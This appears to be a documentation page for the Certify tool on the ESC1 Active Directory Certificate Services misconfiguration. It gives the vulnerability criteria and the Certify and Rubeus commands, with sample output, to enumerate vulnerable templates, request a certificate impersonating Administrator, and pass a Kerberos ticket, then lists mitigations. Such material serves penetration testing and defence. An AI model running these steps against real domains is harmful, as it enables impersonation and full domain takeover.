Skip to main content
ESC1 is a misconfiguration in Active Directory Certificate Services (AD CS), which stems from overly permissive certificate template settings. At its core, ESC1 allows an attacker with low privileges to request a certificate that impersonates another user — including highly privileged accounts like Domain Admins.
This vulnerability allows complete user impersonation and can lead to full domain compromise.

​
Overview

The vulnerability arises when a certificate template allows users to specify arbitrary Subject Alternative Names (SANs) during the enrollment process. If the template also permits client authentication (an Extended Key Usage that enables logon via certificates), a low-privileged user can request a certificate which can authenticate as another user via Kerberos PKINIT, allowing the attacker to compromise any other user in the environment.

​
Vulnerability Criteria

The following criteria comprise an ESC1 vulnerability:
The enterprise CA grants enrollment rights to the attacker-controlled user. Otherwise, the user would be unable to request any certificates from the CA.
The certificate template grants enrollment rights to the attacker-controlled user. Otherwise, the user would be unable to request certificates based on the specific template.
The “manager approval” feature is disabled for the certificate template. Otherwise, a “CA Manager” would have to manually review and approve the certificate request.
The “authorized signature” feature is disabled for the certificate template. Otherwise, an enrollment agent would need to sign the certificate request on behalf of the requester.
The certificate template defines an Extended Key Usage (EKU) that enables client authentication:
  • Client Authentication (1.3.6.1.5.5.7.3.2)
  • PKINIT Client Authentication (1.3.6.1.5.2.3.4)
  • Smart Card Logon (1.3.6.1.4.1.311.20.2.2)
  • Any Purpose (2.5.29.37.0)
  • Subordinate CA (No EKUs)
The certificate template allows the attacker-controlled user to specify arbitrary subject details. Otherwise, the user can only request certificates for itself, and cannot impersonate others.

​
Enumeration

We can search for certificate templates with these conditions using the enum-templates --filter-vulnerable command from Certify. For more information about the command and its parameters, please refer to the Command Overview page. 
Certify.exe enum-templates --filter-enabled --filter-vulnerable --hide-admins
Use --filter-enabled to only show templates published by a CA and --hide-admins to reduce noise in the output.
Sample Output
   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v2.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'
[*] Classifying vulnerabilities in the context of built-in low-privileged domain groups.

[*] Listing info about the enterprise certificate authority 'CORP-CA01-CA'

    ...

[*] Enabled certificate templates found using the current filter parameters:

    Template Name                         : CustomUser
    Enabled                               : True
    Publishing CAs                        : ca01.corp.local\CORP-CA01-CA
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
+   Certificate Name Flag                 : ENROLLEE_SUPPLIES_SUBJECT
    Enrollment Flag                       : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
+   Manager Approval Required             : False
+   Authorized Signatures Required        : 0
+   Extended Key Usage                    : Client Authentication, Encrypting File System, Secure Email
    Certificate Application Policies      : Client Authentication, Encrypting File System, Secure Email
    Vulnerabilities
+     ESC1                                : The template has client authentication and allows enrollees to supply subject.
    Permissions
      Enrollment Permissions
+       Enrollment Rights           : CORP\Domain Users               S-1-5-21-976219687-1556195986-4104514715-513
      Object Control Permissions

Certify completed in 00:00:00.5971265

​
Exploitation

Once we have identified a vulnerable ESC1 certificate template that our attacker-controlled user has enrollment rights for, we can request a certificate based on the template, and include a Subject Alternative Name (SAN) for a target user that we want to impersonate (e.g. Administrator).

​
Certificate Request

This can be done using the request command from Certify. The SAN can be in either of the formats UserPrincipalName (--upn) or DnsName (--dns). For environments where Strong Certificate Mapping is enabled, the security identifier (SID) of the target user must also be supplied with the --sid parameter. 
Certify.exe request --ca ca01.corp.local\CORP-CA01-CA --template CustomUser --upn Administrator
Sample Output
   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v2.0.0

[*] Action: Request a certificate

[*] Current user context    : CORP\lowpriv
[*] No subject name specified, using current context as subject.

[*] Template                : CustomUser
[*] Subject                 : CN=lowpriv, OU=Users, OU=Corp, DC=corp, DC=local
[*] Subject Alt Name(s)     : Administrator
[*] Sid Extension           : S-1-5-21-976219687-1556195986-4104514715-500

[*] Certificate Authority   : ca01.corp.local\CORP-CA01-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 1

[*] Certificate (PFX)       :

MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqh...

Certify completed in 00:00:04.1147192

​
Authentication

When the certificate has been issued, it is printed to the console in a base64-encoded format. The format is supported by Rubeus and can be used to authenticate as the target user with the [asktgt](/GhostPack/Rubeus-mdx/commands/ticket-requests/asktgt#authentication-methods) command by setting the /certificate: parameter to the output certificate. 
Rubeus.exe asktgt /user:Administrator /certificate:MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqh... /ptt
Sample Output
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=lowpriv, OU=Users, OU=Corp, DC=corp, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'corp.local\Administrator'
[*] Using domain controller: 10.10.10.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIGcjCCBm6gAwIBBaEDAgEWooIFfzCCBXthggV3MIIFc6ADAgEFoQ8bDU1FR0FLRUsuTE9DQUyiIjAg
      ...
[+] Ticket successfully imported!

  ServiceName              :  krbtgt/corp.local
  ServiceRealm             :  CORP.LOCAL
  UserName                 :  Administrator
  UserRealm                :  CORP.LOCAL
  StartTime                :  30/06/2025 18.13.10
  EndTime                  :  01/07/2025 04.13.10
  RenewTill                :  07/07/2025 18.13.10
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  wAFNZlLQrfb4N92MQjR1fw==
  ASREP (key)              :  16C90B51B01389B03C92F422EFBFF805

​
Verification

Since the /ptt parameter was supplied to Rubeus when requesting the TGT, the ticket has been injected into the Kerberos ticket list, and we should be able to authenticate as the target user and access systems that the target user has access to. 
Invoke-Command -ComputerName DC01 -ScriptBlock {whoami}
# Output: CORP\Administrator

​
Mitigation

Defense Recommendations

  • Remove the ENROLLEE_SUPPLIES_SUBJECT flag from certificate templates
  • Implement template access controls to limit enrollment rights
  • Enable manager approval for sensitive certificate templates
  • Consider implementing Strong Certificate Mapping
  • Regular auditing of certificate template configurations

​
References